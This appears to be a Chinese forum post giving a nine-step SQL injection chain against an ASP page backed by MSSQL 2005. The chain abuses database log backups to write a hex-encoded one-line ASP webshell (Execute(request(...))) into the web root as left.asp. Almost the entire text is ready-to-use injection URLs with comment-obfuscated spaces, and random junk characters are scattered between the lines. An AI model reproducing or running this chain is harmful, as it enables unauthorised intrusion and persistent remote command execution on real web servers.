Mssql2005 Log备份Webshell

admin

第一步
# D# J' V9 w, H! Y0 E+ L4 Mhttp://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

! D$ D0 `" H6 k& l第二步：
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

9 {* L9 g8 j" C: o1 Q+ H第三步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--

第四步
http://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--
9 k" K" D2 t+ @, {3 M
. e) l; @6 v; N5 ~第五步
% q% ?3 @* @5 Lhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
& ^- q5 l; @1 y$ B, u
第六步
http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--
0 k* X1 P9 a2 [
第七步
# e8 `) m3 _" `( Z( P. i* A6 h# {http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
% ^4 d4 v; _$ D: {3 T' B
8 h! L' Z9 o1 V3 o# r: T5 G第八步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
0 Q, r9 h! L8 y) }* e1 m# h% O
$ E$ D6 c& d) l7 J0 s$ B# J第九步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
9 X9 f! F, L, D